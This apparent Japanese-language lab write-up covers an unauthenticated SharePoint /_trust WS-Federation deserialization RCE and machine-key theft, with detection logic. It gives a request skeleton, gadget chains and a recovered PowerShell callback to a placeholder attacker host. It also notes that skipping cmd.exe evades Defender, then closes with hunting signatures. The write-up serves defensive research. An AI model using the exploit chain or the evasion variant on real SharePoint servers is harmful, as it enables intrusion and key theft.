SharePoint /_trust WS-Federation BinaryFormatter逆シリアル化チェーンのPoC、IOC、および検出ロジック。認証なしのRCE、プロセス内マシンキー窃取、および各バリアントが残すアーティファクトをカバーするラボ再構築。SharePoint 2016、2019、およびSubscription Edition。CVE-2026-50522、CVE-2026-45659、CVE-2026-56164、CVE-2026-58644。
/_trust WS-Federation 逆シリアル化: PoC & 検知ノートライブレポート (GitHub Pages): https://sp-poc.wismansec.com/ (本ドキュメントのHTMLレンダリング)
影響を受ける製品: SharePoint Server 2016、2019、および Subscription Edition
隔離されたラボで SharePoint Server (Subscription Edition) への侵入を再現しました。目的は、(a) 攻撃者の完全な能力を理解すること、(b) ステルス的な永続化を含め、防御側が何を探すべきかを特定すること、(c) 他の調査者を支援する PoC を共有することです。
許可された研究に限ります。 ここで行われたすべての操作は、テスト用に意図的にパッチ未適用のままにされたビルドに対して、隔離された個人所有のラボハードウェアとアカウントで実行されました。根本的な問題はベンダーによって修正済みです。最新の更新プログラムを適用してください。自分が所有しておらず、テストの明示的な許可を得ていないシステムに対して実行しないでください。マシンキー値、内部ホスト名/IP、コールバックドメインは、本文およびサンプルアーティファクト内で伏せ字にしています。SIEM のスクリーンショットは未修正であり、ラボの実際の名前が含まれています。§4 の注記を参照してください。
/_trust SecurityContextToken BinaryFormatter 逆シリアル化ファミリーSecurityContextToken を含む単一の認証不要 POST /_trust/default.aspx (WS-Federation サインイン) により、SharePoint ワーカー (w3wp.exe) で BinaryFormatter の逆シリアル化がトリガーされ、Web アプリケーションプール ID としてリモートコード実行 (RCE) が可能になります。/_trust の AMSI リクエストボディスキャンを有効にすると検知・ブロックされます。§5 参照)。これらのキーを使用すると、攻撃者はパッチ適用後も有効な __VIEWSTATE/認証トークンを偽造できます。/_trust リクエストシグネチャをハンティングしてください。SharePoint は /_trust/default.aspx に WS-Federation パッシブサインインエンドポイントを公開しています。細工されたサインインレスポンス (wa=wsignin1.0 + wresult=<RequestSecurityTokenResponse>) には SecurityContextToken が埋め込まれ、その <Cookie> 要素は base64 で DEFLATE 圧縮された BinaryFormatter ストリームです。サーバー側では、その Cookie が展開され、型制限なしで逆シリアル化されるため、ガジェットチェーン (ysoserial.net 経由) によって w3wp.exe 内部で攻撃者が制御するコードが実行されます。
リクエストのスケルトン (認証不要):
POST /_trust/default.aspx HTTP/1.1
Content-Type: application/x-www-form-urlencoded
wa=wsignin1.0&wctx=<url>&wresult=<RequestSecurityTokenResponse>...
<SecurityContextToken><Cookie>BASE64(DEFLATE(BinaryFormatter payload))</Cookie>...
| チェーン | ガジェット | 影響 | 出力チャネル |
|---|---|---|---|
| OOB RCE | TypeConfuseDelegate → -EncodedCommand PowerShell | プール ID としてのコード実行 | 帯域外 (HTTP/DNS ビーコン) |
| マシンキー開示 | ActivitySurrogateDisableTypeCheck → ActivitySurrogateSelectorFromFile (KeyDump.cs をプロセス内でコンパイル) | ValidationKey/DecryptionKey をダンプ | HTTP レスポンス内にインライン |
scripts/ にある (サニタイズ済みの) スクリプト: パラメータ化された OOB RCE と 2 段階のキーダンプ。ペイロードの配信には PowerShell の -EncodedCommand を使用しているため、複数ステートメントのペイロードが cmd.exe/転送レイヤーをそのまま通過します (;/&& のクォーティング破損なし)。
単一の SharePoint SE ファーム (修正前のビルドに固定)、アプリプール ID LAB\sp_pool、PowerShell 5.1、クラウド保護を有効にした Microsoft Defender。テレメトリ (Windows イベントログ、SharePoint ログ、Defender for Endpoint) は、軽量なオープンソース SIEM である nano に送信しました。攻撃者ホストは ysoserial.net を実行し、interactsh クライアントが OOB リスナーを提供しました。アドレスとドメインは本文中で伏せ字にしています。§4 のスクリーンショット注記を参照してください。
各行は実際の 1 回の実行 (デトネーション) です。アーティファクトは実行ごとに SIEM + OOB リスナーから取得しました。
スクリーンショットは未修正です。 ラボの実際のホスト名と NetBIOS 名が含まれており、これらは簡素で、本文全体で使用しているサニタイズ済みの
SHAREPOINT01/LABとは異なります。同じ実行、同じイベントであり、演出されたものは一切ありません。業務上安全な相当物はartifacts/にあります。
| 実行方法 | プロセスツリー (LAB\sp_pool として、High) | Defender | OOB ビーコン | 主要アーティファクト |
|---|---|---|---|---|
| OOB RCE、デフォルト | w3wp.exe → cmd.exe → powershell.exe → conhost.exe | Behavior:Win32/WebshellLauncher.A (EID 1116 detect / 1117 Remove) | 着弾 (競争状態) | 4688 ツリー; Defender 1116/1117; /_trust POST |
OOB RCE、-RawCmd | w3wp.exe → powershell.exe → conhost.exe (cmd なし) | なし | 着弾 (DNS+HTTP) | 4688 ツリー; /_trust POST; ビーコン |
OOB RCE、-DropFile | w3wp.exe → powershell.exe | なし | 着弾 | …\TEMPLATE\LAYOUTS\ へのファイル書き込み (オブジェクトアクセス監査ログには記録されない) |
OOB RCE、-Diag | w3wp.exe → powershell.exe → whoami.exe | なし | 着弾 | 環境情報開示の外部送信: {host, whoami, PSver, LanguageMode} |
| マシンキーダンプ | (なし、プロセス内) | なし | (なし) | /_trust POST と、キーを含む異常なレスポンスのみ |
これらの結果は、デフォルトの AMSI 構成 (Balanced モード、/_trust はスキャン対象外) におけるものです。/_trust の AMSI リクエストボディスキャンを有効にすると (Full モードまたはターゲット指定)、各行は代わりにリクエストレイヤーでブロックされます。実行前に HTTP 400、Exploit:Script/SpCookieExec.A を返します (§5 参照)。

文書化された 4 回の実行すべて (15:01〜15:18 UTC) で、w3wp.exe のすべての子プロセスがプール ID として実行されています。4 件のうち 3 件は powershell.exe が直接生成されています。cmd.exe を経由したのは 15:03:34 の実行だけで、検知されたのもその実行だけでした。ウィンドウをこれより広げると、同日朝の以前の開発イテレーションも結果セットに含まれるため、この主張はこれら 4 回の実行に限定されます。

デフォルトの実行方法: w3wp.exe → cmd.exe → powershell.exe で、conhost.exe が並行して起動します。これが Behavior:Win32/WebshellLauncher.A が検知の鍵とするプロセス形状です。

-RawCmd 実行方法。同じプリミティブ、同じペイロードで、cmd.exe ホップを除去したものです。この実行では Defender は何も検知しませんでした。w3wp → cmd に基づく検知ではこれを完全に見逃します。

4 回の実行を含む同じ 25 分間のウィンドウ内のすべての Defender イベントです。3 件すべてが単一の cmd.exe 実行に属しています。Severe の malware_detected が 2 件、その後アクション Remove の malware_action_taken が 1 件です。修復はビーコンに間に合わず、ビーコンが先に完了しました。
Security 4688 からそのまま復元された重要なコマンドライン (エンコーディングは回避策ではありません):
"C:\Windows\System32\cmd.exe" /c powershell.exe -NoProfile -NonInteractive -EncodedCommand <base64>
→ decodes to: iwr -UseBasicParsing 'http://<attacker-oast>/c'

SIEM に表示されるエンコード済みコマンドラインです。これは UTF-16LE の base64 に過ぎません。base64 -d | iconv -f utf-16le -t utf-8 でコールバックを 1 ステップで復元できます。エンコーディングは難読化ではありません。
以下の 2 つのフレームは、ファームのマシンキーが盗まれた同じ 90 秒間のウィンドウを対象としています。

フィルタなしでは、ウィンドウには 20 件のイベントがあります。ホストは稼働しており、テレメトリを送信しています。

w3wp.exe の子プロセスにフィルタすると、同じウィンドウは空です。プロセスも、Defender イベントも、ビーコンもありません。キーは HTTP レスポンスで持ち出され、ホスト側の唯一のアーティファクトは /_trust リクエスト自体であり、この SIEM はそれを収集していませんでした。パッチ適用では盗まれたキーは失効しません。ローテーションしてください。
OOB リスナーで取得された -Diag による情報開示 (URL デコード済み):
{ "host": "SHAREPOINT01", "who": "LAB\\sp_pool", "v": "5.1.20348.558", "lm": "FullLanguage" }
すべての亜種に存在する唯一のシグネチャ。 まずこれをハンティングしてください:
wa=wsignin1.0 と、RequestSecurityTokenResponse + SecurityContextToken/<Cookie> を含む wresult を持つ POST /_trust/default.aspx。認証不要で、多くの場合異常な User-Agent。レスポンスステータスのベースライン: このエンドポイントへの正規の WS-Federation サインイントラフィックは主に HTTP 302 です。エクスプロイトは他のステータス (200、500、接続リセット、AMSI がブロックした場合は 400) を返します。このエンドポイントに実際のサインイン量がある場合は、POST /_trust/default.aspx への非 302 レスポンスを異常として扱ってください。ステータスだけではエクスプロイトの成功を確認できません。成功した実行では 200 とリセットの両方が返されました。プロセスベース (RCE 亜種のみ):